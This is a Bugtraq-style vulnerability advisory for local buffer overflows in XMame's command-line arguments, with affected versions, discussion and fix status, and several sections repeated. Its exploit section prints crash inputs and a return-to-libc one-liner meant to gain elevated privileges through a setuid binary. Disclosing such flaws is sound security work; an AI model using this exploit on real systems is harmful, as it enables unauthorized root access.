XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities
BID:16203
Info
XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities
| Bugtraq ID: | 16203 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jan 10 2006 12:00AM |
| Updated: | Feb 07 2006 08:55PM |
| Credit: | Discovery of this issue is credited to KaiJern, Lau <[email protected]>. |
| Vulnerable: |
Xmame Xmame 0.102 Xmame Xmame 0.69.1 Xmame Xmame 0.68.1 Xmame Xmame 0.67.2 Xmame Xmame 0.67.1 Xmame Xmame 0.66.2 Xmame Xmame 0.66.1 Xmame Xmame 0.62.2 Xmame Xmame 0.62.1 |
| Not Vulnerable: | |
Discussion
XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities
XMame is prone to locally exploitable buffer-overflow vulnerabilities. These issues are due to insufficient bounds checking of command-line parameters.
Successful exploitation on some systems could result in execution of malicious instructions with elevated privileges, since XMame may be installed with setuid-superuser privileges.
XMame version 0.102 is vulnerable to these issues; other versions may also be affected.
This issue may be related to BID 7773 (XMame Lang Local Buffer Overflow Vulnerability).
XMame is prone to locally exploitable buffer-overflow vulnerabilities. These issues are due to insufficient bounds checking of command-line parameters.
Successful exploitation on some systems could result in execution of malicious instructions with elevated privileges, since XMame may be installed with setuid-superuser privileges.
XMame version 0.102 is vulnerable to these issues; other versions may also be affected.
This issue may be related to BID 7773 (XMame Lang Local Buffer Overflow Vulnerability).
Exploit / POC
XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities
The following examples are sufficient to crash the application:
xmame.x11 -pb `ruby -e 'print "A" * 1034'`
xmame.x11 -rec `ruby -e 'print "A" * 1020'`
The following return-to-libc exploit is also available:
./xmame.x11 -pb `ruby -e 'print "\x90" * 1016;print "\xd0\xf6\xd8\xb7";print "DUMP";print "\xaa\xf8\xff\xbf"'`
Exploit code by Rafael San Miguel Carrasco <[email protected]> is also available (xmame_bf_exploit.txt).
The following examples are sufficient to crash the application:
xmame.x11 -pb `ruby -e 'print "A" * 1034'`
xmame.x11 -rec `ruby -e 'print "A" * 1020'`
The following return-to-libc exploit is also available:
./xmame.x11 -pb `ruby -e 'print "\x90" * 1016;print "\xd0\xf6\xd8\xb7";print "DUMP";print "\xaa\xf8\xff\xbf"'`
Exploit code by Rafael San Miguel Carrasco <[email protected]> is also available (xmame_bf_exploit.txt).
Solution / Fix
XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities
Solution:
The reporter of this issue states that the vendor has applied fixes to the XMame CVS tree. This has not been confirmed by Symantec at this time.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
The reporter of this issue states that the vendor has applied fixes to the XMame CVS tree. This has not been confirmed by Symantec at this time.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
XMame Multiple Local Command Line Argument Buffer Overflow Vulnerabilities
References:
References:
- Xmame Homepage (Xmame)
- mysec.org Security Advisory : Xmame buffer overflow, with a possibility of privi ([email protected])
- xmame gain root exploit ("Gabriel A. Maggiotti"